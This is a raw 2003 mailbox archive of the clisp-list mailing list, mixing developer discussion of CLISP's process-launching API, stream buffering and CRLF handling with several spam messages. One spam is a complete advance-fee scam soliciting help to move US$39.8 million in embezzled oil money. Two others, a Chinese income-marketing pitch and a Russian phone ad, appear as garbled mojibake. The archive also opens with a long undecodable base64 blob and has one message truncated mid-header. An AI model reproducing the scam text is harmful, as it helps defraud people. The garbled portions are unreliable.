aCWhhcy5pUiNXCYiNNuRcgogPTNC3AYUD9KF3GQ9j1AbzuBkTjcacQkHO06x4JYssOPwGAXrgxPc a6xVt3cN91kFyxDKUQhG6RYxmqpbFivCFvk7Izj/Uc5EO6uJXez/6EnYJTIweZi4dUJWWKM5qDA+ MpI1gIZYDno0AgMGNMEHW+ajcC05JFI0mBHcpb9xBGoXiUEYzmiw0qvhu9LQODKbB4Qzg4M+ACTQ Bo0JPhYeB0Tb3kqxI7sokjF9ReaOsF/kmeopKE0kBMofSEvkaKCRSeEhFpAQaePgl+PARghl11zk HPaQjDr2Iu/kQcqCQcbgTNGv4kkZOBMElJPQJpVzUne8Af1icBnbuFN7aEAhn2jAxnbIVzlM1MJc aFeNOJECBrqzImB+yPVeoKE4iZbPx7hXKjDmdA45/Zlmk5GGtlbokGTYtc/k3Gg8ZQ2e3hBgM9ls sypQaDgXFDtcZOxv9oV0EHRxqpgjd+hkkQOpr2jjDmtEs1O4aLyMv55AspM3wOMzpXIUsfeoKKng dBtQElMyU2Xpx3YTuDWS9lTzUHDzLsoIxQ9N4zkFdZ63mEQNxx2cK8jbOOZuKKhJkr83e1Ose1gX h6QFNlkkW8qN2AzIiAaFeKEhOdlmzboMB3fYe8swJY0nM72IZ8POXLEM48CoG7ZGOITYj41GUO3s MbcVWVx1ZREQhCMYoVjVFHWdrVBLhQBhE1QMSEcCGog1VvUsyWA+5As4yJ/FKzs893UUn41V5GgJ dQUTCN5ADmzCnV5vnFAC++hXPPFw9yJGqJGNFv5ZJtQuoY7oF4yEICX0Zo604xKOL1GhRINFTfjY elLQRcpoLnQ0hWD7Vi09s2FehWMez4CRDgxlkGQDf4yutVYuFFBbA/b+w4D7Aexg4Xp+1Thf9LBS AxgkllajU1lfYGotDgV5O3i6XqphdR2LD9YH2A6tZoX4F6pD5ABGr5RC21LuKlqxnGw7RQxbQwuG dGbwZFWcEvAgTohWFsKxyckEUpvs3LCkJ1i8QUYXQ6AtfgELuzRIYI+s7gZeFXrAXSkLMIMmAIHb v+yD/wZI9kUQFHRGoRA8AOVSvkiSHQzgfsRYDDRyfEMSbBg4uZI4Yny1EmjPXPsOd1cREw9h6xcY cil7F0Ih0ZANwhB5AwRiqWSV7HMIGxqLLpz/JFAAr08EDMA7sPk0vItMQMq4O8ZySgkwtFC7Ru5w htxbe3c5KwQHDHMDGvlxg2gEpScHOglAAbcfEYj055do1WhAw95P60sAGrXhkE3hrC5ZcJvQ+CQS cFKuXD3A9/ArcQ4SOE3gwt5wsWaAAzcYAcLHjI7t0M25ZNWNlAxTGKyaDSzgZdtdA+4tTGIKam2E luQLCMUymGHgiRgYBUdUs6JQI5f0TgpmULPGfSwpaKiRe8loC4VW9UdEiQRShlMtq2xabaYK8WGA dkJccIUUDMh9EC57gmUFu6wDwU5A6rAy42uBCjmAPDriOu5GNSB1IlMVaj0wGVRipFsKRxniSJQ7 eC4BiMlNjvMXDgAHcF0xktoaDjkak06z3C5wdZl+5AD9EqhhhNYRDKFNZ8vH6dDaE6iMmoklY4yB NbUBOcR0Z+KTjbo6VxpX82xIHaupFq4OXzwC8JO2aCg+Aq1fxIL5vgRtdRz/Nlj+R1hL2I39OQZX EilcmW6kywedtArIQkCqyyc0BibVaUC0V8QhagAkcRqpoV2cUSAdDLlW0Ql0EyEgBwOrJOFrIMj3 SHgDIzl7vlUMA79qJF9SWTR58IVDBssMjGEQCELOkmxjXF8IuLArOTjwvGY16bEybDHLIzfTRuRR 2EhQHFhWn4Al5wxeE51LRr2QAzAtIL0ZdSX8KljBkrOBKlhovD5g4AEh/z3JHnBHGSNVcs4NpzpD IM/RPiAIWCAeB/eopBBmY8PDrXQlJCFXMqyWjWG6UAewvQ5NycNho7I+PJCP+Ew8IlZHiP4yoCuW Wg89NO9yH9jRgV0MGHQUsWolesuJC+QchXqzNlEV0xjBO+T7ZgwZCDIIzwu1CX7RF0UUQkYwkWRb WCSVr7jJyQY78+wRsA2CUDdsARIh2CvbDiCeEjIbCEsLLs+H54bQzcBrMl9XzkMo3CG/U4kwgYpR jkJKdyIhiPt+NCRw0YuU/tFu7Ajh+k0LsX4ydXdBaP5NFI1eRBDLr0GTirU6O8QUaAuEAjAdYcNv MiF9yxkUAJet3gvIFAsZqg9vIA+YGAx/HMjEhBs/WACD6wIG5LYRVMgeBMgtDHfzzSUS2g3xF1SN doZkwxRFEAjhFhiOBWJeAhzAAsB8VH5pMHwetAAz/3V27PEOhrZAqAnh3wxtEDCOIkBXIbtQsizL sgJUWFxgZMuyLMtobHB0eHzqAjbEjYZNiThkeEE+96sWjqAQRger54luIowAKHRAAaOzObuJvrAS cIuN1f/2pWABJlWUA8oJAnUDA03oi7WmaPvBajyZWyqcWPsL+2P/HZzBmWvbZFlf9/nt99or04mW SSoOWMDBkFRZxUfKQsoQQqG8hBe47C2wBK6oCzBk266IRbIherH5Fd1d/KyKRA+/QJPrczB3BDcu kr80GRUUGhAZ3EAj1lQfODQUa+IcS1UMR3TB3BP8nv8C0YKURhqSBM7FqkMjPc0ORtSl7AVpG0yZ svPugHRqWL8gihjwBRkCTWNTIABBMIPDJJBnytzwjozwA4sFMw9oDHULj8Lesg9o4JIYC5IlJ5AD BNSSDIWw5NSSqOwAGVuAiAUc6c3SCURqQI2+HmjE7bt0BwVTagkUfGBNhBq7T5NsFLx4KYawKjvD b9b8/1APnsBIJP6DwC0PvsBQUEwGG7zaqPuYrKHayNso9ja/pEHajRzri4jNmt/cKdZsw4IFDfnl yDdLcoXI0MyBcUHC5RcGwDtYADmckktGQKM5giyYTKUHE73ZADWMwsVGA+y/mLSnKGEJtG1xPgYk vaJqICw5kIoTDMGVx1OPgWRKTrZEODSIe6F4CjleYCUPjr/D0heogQOadBlogIL3vyQDgHBcA8c5 WAi49n6iZEAEXI1EOBBEuFQBYEVlCMHx3zWDxyA7RmAPjEPk9rkgwZUu+cQpBFfkCGL2eSgMkHhs O0Ypip0odhQ5cliF0GAC6DbwirpBJPTIU8+WMMiFJM6LHoFssMIuf85ogpRwCR6e3B0IAI2pnciS TUwZJVttQ1XIcslzjAYLrKx42UgzC8TEEY18AXtj4QeohQkqM2DbiZwWK5wSjIcSBksDjDRhKfrC hATDqHi/qJW1Ehq0UNtXWswZrAfeggusZeAbDZArrFDsFjARpQFp5rWIAzLSYL1wlXCsLXshnFAS czCoCzgZfIR6nhf6K3QFSQV1DYt6M8kWikL9O/sPlMFBufGAur816iJIFwIKSHUcaHQ3653sXwF5 BgVoYJVv/9cZSyODWVDXWaCjgU2ObCNMqhlkYdhZJBzExOdC4grEDqzyLAaQwAS3PJVwYScTrDgV xLkgC5GTqAZVGWcCLCY4BZiF0qgRjZFgmtikizFZQq6QksTfpAbIBQcbG/TIdkJSkoh+cYuY2C7w mu3B5wQRhLmg1wfwe9VyRZ0PAhJyGIMtw1H2IJZtpgWDxxTEfwH4u7SD7xD/Tdh1YqR0Nmj0lJ4F 9mEwaOyUQhBAsEBCenjnmlqNbYO4hIoJTV5pSDcSgQCNLEamhLHDnMxZ112MOttbQmiQO8vXucpm U3Yz44xG39FatRVpVDc9L9FOLoYAAqRIi5R0TbxZN+RohJQ3UA4yEbzgJsIjtoxTdUocyCwxnBaz cizkwjOAIRZyYc/faHAncJvdairVx/tQU1UL3taBEMdqQWjdLDFS7R2xtppF2VCQEUayB6pUmUth Kb9dwigQjC5mNLvK/f1oEewN0M5QJXQHMKXkQt7iWrtoODj5os2GO+M64CiuQKbsJMEkHKyt5MJ2 HKpzy/JvEcfsg8dEi0XsVAJTcjuU/viARZAQQTZSIFB424DWgMawCpbkEy9mJWB0SoHCtgmPC0EB NAtEb8g6A/dAaPlKYVOHYNa2ZQMDEhdJ/hKCUBLYD4Q8BFv7cfeNuKEPb0XoV From sds@gnu.org Fri Jun 06 09:52:45 2003 Received: from out002pub.verizon.net ([206.46.170.141] helo=out002.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19OKSJ-0007vW-00 for ; Fri, 06 Jun 2003 09:52:43 -0700 Received: from loiso.podval.org ([141.149.176.45]) by out002.verizon.net (InterMail vM.5.01.05.33 201-253-122-126-133-20030313) with ESMTP id <20030606165236.FCMY13328.out002.verizon.net@loiso.podval.org>; Fri, 6 Jun 2003 11:52:36 -0500 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.8/8.12.8) with ESMTP id h56GqZ1g006920; Fri, 6 Jun 2003 12:52:35 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.8/8.12.7/Submit) id h56GqV0k006916; Fri, 6 Jun 2003 12:52:31 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Arseny Slobodjuck Cc: clisp-list@lists.sourceforge.net Subject: Re: Re[4]: [clisp-list] Re: Re[4]: Separate Unix error stream keyword for ext:run-shell-command References: <434162114.20030605093108@ich.dvo.ru> <1939103870.20030605105329@ich.dvo.ru> <581360556.20030606103731@ich.dvo.ru> <11827647525.20030607012823@ich.dvo.ru> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <11827647525.20030607012823@ich.dvo.ru> Message-ID: Lines: 53 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out002.verizon.net from [141.149.176.45] at Fri, 6 Jun 2003 11:52:36 -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jun 6 09:53:07 2003 X-Original-Date: 06 Jun 2003 12:52:31 -0400 > * In message <11827647525.20030607012823@ich.dvo.ru> > * On the subject of "Re[4]: [clisp-list] Re: Re[4]: Separate Unix error stream keyword for ext:run-shell-command" > * Sent on Sat, 7 Jun 2003 01:28:23 +1000 > * Honorable Arseny Slobodjuck writes: > > > (launch ... :output (:stream :element-type ...)) > > is so much cleaner! > > So we need one stream init parser in launch, other in > make-pipe-*-stream - code duplication. no, make-pipe-*-stream will be implemented in lisp, not C, and will just pass their stream arguments to launch. > >> What I want (user) to avoid - to parse output value lists depending on > >> parameters supplied. I.e. if :input was :create then we get 2 values. > >> First value is pid if only :wait was nil. If :wait wasn't nil... > > > this is inevitable. > Why ? I do suggest the method. the half-baked pipe streams are out - I see no reason to create an object which can only be only use in one single way - as an argument to LAUNCH. If you insist, you can consider the list (:STREAM :ELEMENT-TYPE ... :EXTERNAL-FORMAT ... :BUFFERED ...) to be this kind of stream. I prefer the lispy/functional style of returning values to the C style of modifying the arguments. Unless you get Bruno to override me, I will resist that to death. > > if :WAIT was T, then the values are the same as those of EXT:WAIT > > (specified in ) > > if :WAIT was NIL, the values are PID, INPUT stream (or NIL), OUTPUT (or > > NIL) and ERROR (or NIL) > > I'm sure other users heat this as much as I. How many other lisp > functions change their return value count depending on input > parameters ? when :WAIT is :T, we can return two additional NIL values just to make sure that we always return 4 values. :-) Consider FIND-SYMBOL: when the symbol is not found, it returns NIL, NIL, even though the first value is sufficient (just check that the string is not "NIL"). -- Sam Steingold (http://www.podval.org/~sds) running RedHat9 GNU/Linux The only guy who got all his work done by Friday was Robinson Crusoe. From babana@nzoomail.com Fri Jun 06 16:17:33 2003 Received: from panoramix.vasoftware.com ([198.186.202.147]) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19OQSY-0002yl-00 for ; Fri, 06 Jun 2003 16:17:22 -0700 Received: from [80.88.131.190] (port=3503 helo=mxcson227.com) by panoramix.vasoftware.com with smtp (Exim 4.05-VA-mm1 #1 (Debian)) id 19OQSJ-0006tL-00 for ; Fri, 06 Jun 2003 16:17:09 -0700 From: "BABANA NGUESSO" Reply-To: baba_na@o2.pl To: clisp-list@lists.sourceforge.net X-Mailer: Microsoft Outlook Express 5.00.2919.6900 DM MIME-Version: 1.0 Message-Id: Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable X-Spam-Status: No, hits=1.3 required=7.0 tests=DOUBLE_CAPSWORD,PORN_14,UPPERCASE_75_100,SUPERLONG_LINE version=2.21 X-Spam-Level: * Subject: [clisp-list] VERY URGENT Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jun 6 16:18:05 2003 X-Original-Date: Fri, 6 Jun 2003 23:56:48 -0700 DEAR SIR=2C MY NAME IS BABANA NGUESSO=2E I AM THE SON TO WILLIAMS NGUESSO=2C A SENIOR GOVERNMENT OFFICIAL OF CONGO WHO WAS RECENTLY IMPLICATED IN AN OIL DEAL IN THE COUNTRY AND WHO IS CURRENTLY UNDER DETENTION AND TRIAL=2E I CAME TO KNOW ABOUT YOU AFTER MAKING SEVERAL RESEARCH ABOUT VERY HONEST=2C TRUSTWORTHY AND GOD FEARING PERSON=2C I DISCOVERED THAT THIS FUND CAN BE PROPERLY INVESTED IN YOUR COUNTRY=2C MY FATHER AND HIS TOP GOVERNMENT OFFICIAL WHO WAS INVOLVED IN THE GROSS EMBEZZLEMENT=2C FINANCIAL MISAPPROPRIATION=2C AND OIL THEFT THAT OCCURED AT THE CONGOLESE OIL COMPANY =28HYDRO-CONGO=29 SOMETIME IN THE YEAR 2002=2C AND WHICH WAS VASTLY PUBLICISED BY ONE OF THE WORLDS LEADING NEWS CHANNELS=2C BBC NEWS=2E FOR MORE INFORMATION ON THE MATTER=2C CLICK ON THIS WEBPAGE=3A http=3A=2F=2Fnews=2Ebbc=2Eco=2Euk=2F1=2Fhi=2Fworld=2Fafrica=2F1100852=2Estm MY FATHER WAS ABLE TO SYPHONE THE SUM OF US$39=2E8 MILLION=2E THIS MONEY WAS TAKEN ABROAD WITH HIS CONTACTS IN GOVERNMENT AND HAS BEEN DEPOSITED IN MY NAME WITH A SECURITY COMPANY AS FAMILY VAULABLE OLD ART WORKS=2CTHROUGH A DIPLOMATIC MEANS=2C ALL I NEED FROM YOU NOW IS FOR YOU TO HELP ME CLEAR IT OUT=2C THE NAME I AM NOT GOING TO DISCLOSE NOW FOR SECURITY REASONS=2CAND ALL DOCUMENTS REGARDS THE DEPOSIT ARE WITH ME=2CSINCE MY FAMILY HAVE BEEN FACING PRESSURE FROM THE PRESENT GOVERNMET AND PEOPLE OF MY COUNTRY=2CWE HAVE TO RUN AWAY SINCE OUR HOUSE WAS SET ON FIRE BY ANGRY MOBS=2CMY MOTHER =2CTWO SISTER AND ARE LIVING NOW IN A REFUGEE CAMP IN ONE OF THE AFRICA=2ECONTRY UNTIL I HEAR FROM YOU=2E I WILL GREATLY APPRECIATE YOUR KIND AND VERY HONEST ASSISTANCE IN INVESTING THIS MONEY IN YOUR COUNTRY=2C =2EI WILL GIVE YOU A COMPREHENSIVE BREAKDOWN ON HOW THIS TRANSACTION WILL WORK OUT IMMEDIATELY I HEAR FROM YOU=2E I WANT TO GIVE YOU MY UTMOST ASSURANCE THAT THIS TRANSACTION WILL NOT TAKE US MORE THAN EIGHT DAYS TO FINISH EVERYTHING=2E URGENTLY AWAITING YOUR RESPONSE =2E BEST REGARDS Babana Nguesso =2E From universal9731@yahoo.com.tw Fri Jun 06 17:45:29 2003 Received: from c10.h061013173.is.net.tw ([61.13.173.10] helo=yahoo.com.tw) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19ORpn-000812-00 for ; Fri, 06 Jun 2003 17:45:28 -0700 From: kevin6606@hotmail.com To: clisp-list@lists.sourceforge.net Reply-To: universal9731@yahoo.com.tw MIME-Version: 1.0 Content-Type: text/html Content-Transfer-Encoding: 8bit Message-Id: Subject: [clisp-list] =?ISO-8859-1?B?p0G3fLvdrW6qusFvqfqkdadApOimoafvxdyye6Zipc2soQ==?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jun 6 17:46:04 2003 X-Original-Date: 07 Jun 2003 08:41:08 +0800 ³o©Î³\¬O±z¥¿¦b§äªº¾÷·|®@
³o©Î³\¬O±z¥¿¦b§äªº¾÷ ·|®@¡I
¹ï¤£°_¡I¥´ÂZ¤F¡A¦pªG¦]¦¹³y¦¨±zªº§xÂZ¡A½Ðª½±µ§R°£

¬°¤°»ò¦³¤H·|¤ñ§A¦¨¥\10­¿¡A¦¬¤J¦h100­¿¡B¬Æ¦Ü¦h1000­¿¡AÃø¹D¥L¦³¤ñ§A¦hÁo©ú³o»ò¦h¶Ü¡H
µª®×ªÖ©w¤£¬Oªº¡I
·Q¤@·Q¡I¨º¨Ç¦¬¤J¤ñ§Ú­Ì°ª«Ü¦h¡A¥Í¬¡¤ñ§Ú­Ì¦n«Ü¦hªº¤H¡I
¥L­Ì¨ì©³°µ¤F¤°»ò¬O§Ú­Ì©Ò¤£ª¾¹Dªº¨Æ¡H
¦Ó§Ú­Ì¨ì©³°µ¿ù¤F¤°»ò¡B¤S¿ù¹L¤F¤°»ò¡H
·Q¤£·Qª¾¹D¤H®a«ç»ò°µ¨ìªº¡I
§A¬Û«H¡u®É¶¡¡×ª÷¿ú¡v¡BÁÙ¬O¡u®É¶¡¡Öª÷¿ú¡v

Á|¨Ò¡G

§Ú­Ì¤@¤Ñ¤u§@8¤p®É¡A¤@¦~¤u§@365¤Ñ¡A¤@½ú¤l¤u§@30¦~¡I¨º§Ú­Ì¤@½ú¤lªºÁ`¤u§@®É¼Æ¡H
¢·¤p®É¡¯¢²¢µ¢´¤Ñ¡¯¢²¢¯¦~¡×¢·¢¶,¢µ¢¯¢¯¤p®É
¦pªG§Aªº®ÉÁ~100¤¸¡A§A¤@½ú¤lÁÈ876¸U¤¸¡I
¦pªG§Aªº®ÉÁ~150¤¸¡A§A¤@½ú¤lÁÈ1314¸U¤¸¡I
¦pªG§Aªº®ÉÁ~200¤¸¡A§A¤@½ú¤lÁÈ1752¸U¤¸¡I
¬Ý°_¨Ó¦n¹³«Ü¦h¡A¬Ý²M·¡¡I¤@¦~¤u§@365¤Ñ¡A­n¤u§@30¦~¡I¦Ó¥B¤£¦Y¤£³Ü¡I
³o¼Ëªº¦¬¤J¨¬°÷¤TÀ\·Å¹¡¡F¶R¨®¤l¡B©Ð¤l«j±j°÷¥Î¡F§O§Ñ¤F¡AÁÙ¦³¤l¤kªº±Ð¨|¶O¡B¦Û¤vªº¾i¦Ñª÷¡BÁÙ¦³¡y¹Ú·Q¡zµ¥«Ý¹ê²{¡I
³o¼Ëªº¤@½ú¤l¡A§A¥Ì¤ß¶Ü¡H
¨­¬°­û¤uªº§A¡A¨C¤Ñ¨¯­W¬°ªº¬O¤°»ò¡H®a®x¡B¤p«Ä¡H§A¦³¨S¦³·Q¹L¡A§A¤W¯Z¤@½ú¤l¡A±N¨Ó§Aªº¤p«Ä¯à©Ó±µ§AªºÂ¾¦ìÄ~Äò°µ¤U¥h¶Ü¡H¡]°£«D§A¦Û¤v¬O¦ÑÁó¡^
·Q¤£·Q§ïÅܦۤv¤Î¤U¤@¥Nªº¤@¥Í¡H

³o¬O­Ó¦b¤£´º®ð¤¤ª§®ðªº¤èªk
From sds@gnu.org Fri Jun 06 17:47:48 2003 Received: from out003pub.verizon.net ([206.46.170.103] helo=out003.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19ORs4-0000Fw-00 for ; Fri, 06 Jun 2003 17:47:48 -0700 Received: from loiso.podval.org ([141.149.176.45]) by out003.verizon.net (InterMail vM.5.01.05.33 201-253-122-126-133-20030313) with ESMTP id <20030607004740.HBFA4805.out003.verizon.net@loiso.podval.org>; Fri, 6 Jun 2003 19:47:40 -0500 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.8/8.12.8) with ESMTP id h570ld1g028499; Fri, 6 Jun 2003 20:47:40 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.8/8.12.7/Submit) id h570lc0B028495; Fri, 6 Jun 2003 20:47:39 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: Re[2]: [clisp-list] Separate Unix error stream keyword for ext:ru n-shell-command References: <9F8582E37B2EE5498E76392AEDDCD3FE04C673F8@G8PQD.blf01.telekom.de> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE04C673F8@G8PQD.blf01.telekom.de> Message-ID: Lines: 26 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out003.verizon.net from [141.149.176.45] at Fri, 6 Jun 2003 19:47:40 -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jun 6 17:48:04 2003 X-Original-Date: 06 Jun 2003 20:47:37 -0400 > * In message <9F8582E37B2EE5498E76392AEDDCD3FE04C673F8@G8PQD.blf01.telekom.de> > * On the subject of "Re[2]: [clisp-list] Separate Unix error stream keyword for ext:ru n-shell-command" > * Sent on Thu, 5 Jun 2003 18:05:07 +0200 > * Honorable "Hoehle, Joerg-Cyril" writes: > > [*] Please write an essay on the pros and cons of open() etc. using > small integers vs. fopen() using FILE pointers. I'd be happy to > discuss such design issues with everybody. the original decision, I think, was predicated on avoiding libc (amiga?). this is now gone, but using fopen()/FILE would result in libc doing buffering, in addition to CLISP own buffering, thus complicating unbuffered streams and introducing an unnecessary overhead for buffered streams. on a more mundane level, I see no way to duplicate FILE*. we do need dup2 on several occasions. I don't think it is worth our time to rewrite stream.d to use FILE. -- Sam Steingold (http://www.podval.org/~sds) running RedHat9 GNU/Linux Just because you're paranoid doesn't mean they AREN'T after you. From dgou@mac.com Sat Jun 07 01:37:35 2003 Received: from panoramix.vasoftware.com ([198.186.202.147] ident=mail) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19OZCf-0005QL-00 for ; Sat, 07 Jun 2003 01:37:33 -0700 Received: from smtpout.mac.com ([17.250.248.89]:60890) by panoramix.vasoftware.com with esmtp (Exim 4.05-VA-mm1 #1 (Debian)) id 19OZCY-00036v-00 for ; Sat, 07 Jun 2003 01:37:27 -0700 Received: from mac.com (smtpin07-en2 [10.13.10.152]) by smtpout.mac.com (Xserve/MantshX 2.0) with ESMTP id h56Ei4Cm004991 for ; Fri, 6 Jun 2003 07:44:05 -0700 (PDT) Received: from mac.com (15.pins2.xdsl.nauticom.net [209.195.172.144]) (authenticated bits=0) by mac.com (Xserve/8.12.9/MantshX 2.0) with ESMTP id h56Egs4N004790; Fri, 6 Jun 2003 07:43:06 -0700 (PDT) Mime-Version: 1.0 (Apple Message framework v552) Cc: clisp-list@lists.sourceforge.net To: Arseny Slobodjuck From: Douglas Philips In-Reply-To: <11827647525.20030607012823@ich.dvo.ru> Message-Id: <247E61A0-982D-11D7-8B39-000393030214@mac.com> X-Mailer: Apple Mail (2.552) Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=-3.6 required=7.0 tests=IN_REP_TO,DOUBLE_CAPSWORD version=2.21 X-Spam-Level: Subject: [clisp-list] Re: Return value count... Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Jun 7 01:38:03 2003 X-Original-Date: Fri, 6 Jun 2003 10:42:48 -0400 On Friday, Jun 6, 2003, at 11:28 US/Eastern, Arseny Slobodjuck wrote: >> if :WAIT was T, then the values are the same as those of EXT:WAIT >> (specified in >> ) >> if :WAIT was NIL, the values are PID, INPUT stream (or NIL), OUTPUT >> (or >> NIL) and ERROR (or NIL) > > I'm sure other users heat this as much as I. How many other lisp > functions > change their return value count depending on input parameters ? Changing the subject (line, literally!). I don't think this is problem. Once you know that up to n values can be returned, you need some kind of multiple-value-bind sort of expression to receive them. Since returning fewer values than are being received means the "missing" ones are set to NIL, and since you have to look at the first one(s) to see if later ones are valid anyways, I don't think this is a big deal. A bigger deal is making sure that the first value returned is useful even when the others are discarded (because the expression returns into a single value receiving place). Just my buck two-fifty, ;-) ; Sat, 07 Jun 2003 06:38:26 -0700 Received: by bird.agharta.de (Postfix, from userid 1000) id 8F298260468; Sat, 7 Jun 2003 15:38:16 +0200 (CEST) To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] string-input-streams and crlf conversion References: <874r3481ko.fsf@bird.agharta.de> Reply-To: edi@agharta.de From: Edi Weitz In-Reply-To: Message-ID: <87d6hq6m9j.fsf@bird.agharta.de> Lines: 19 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Jun 7 06:39:02 2003 X-Original-Date: 07 Jun 2003 15:38:16 +0200 Sam Steingold writes: > you can't. > > > > > discussion is welcome. Thanks. It's currently not really a problem for me - I use CLISP mainly for compatibility checking while I develop on CMUCL. I might have to use binary streams anyway for other reasons. FYI, of the CL implementations I have on my machine CMUCL, SBCL, AllegroCL, and ECL all return #\Return while CLISP and LW yield #\Newline. Cheers, Edi. From 550mh2@bigfoot.com Sun Jun 08 15:19:20 2003 Received: from [136.145.167.246] (helo=136.145.167.246) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19P8VU-0001ZM-00 for ; Sun, 08 Jun 2003 15:19:20 -0700 From: 237420@mail.com X-Mailer: GoldMine [5.70.20404] Reply-To: 237420@msn.com Organization: 174983307 X-Priority: 3 (Normal) To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/html; charset=Windows-1251 Content-Transfer-Encoding: 8bit Message-Id: Subject: [clisp-list] 237420 Sony Ericsson T610 1090970259 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Jun 8 15:20:03 2003 X-Original-Date: Sun, 08 Jun 2003 14:18:36 -0400 Untitled
Sony Ericsson T610
ÇÀÊÀÇÛ ÄÅËÀÉÒÅ ÏÎ ÒÅËÅÔÎÍÓ: (095) 517-1432, 109-4600
Ðàçìåðû: 102x44x19 ìì
Âåñ: 95 ã.
Âðåìÿ ðàáîòû:
(Li-Ion)
- â ðåæèìå îæèäàíèÿ: 315÷
- â ðåæèìå ðàçãîâîðà: 14÷
Öâåòíîé äèñïëåé
Ïîääåðæêà Java2ME è C++
Ïîëèôîíè÷åñêèå ìåëîäèè
GPRS
Bluetooth
Âñòðîåííàÿ öèôðîâàÿ ôîòîêàìåðà
Öåíà 699 ó.å. ò.(095) 517-1432, 109-4600

Ëåòíÿÿ ðàñïðîäàæà ñîòîâûõ òåëåôîíîâ ñ ïîäêëþ÷åíèåì!

Mitsubishi Trium mars+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=1999ðóá.
Siemens a35+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=2199ðóá.
Siemens a40+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=2450ðóá.
Siemens a50+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=2830ðóá.
Siemens c55+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=4190ðóá.
Siemens A55+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=3528ðóá.
Siemens m50+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=3528ðóá.
Alcatel ot311+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=2699ðóá.
Motorola T2288+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=2325ðóá.
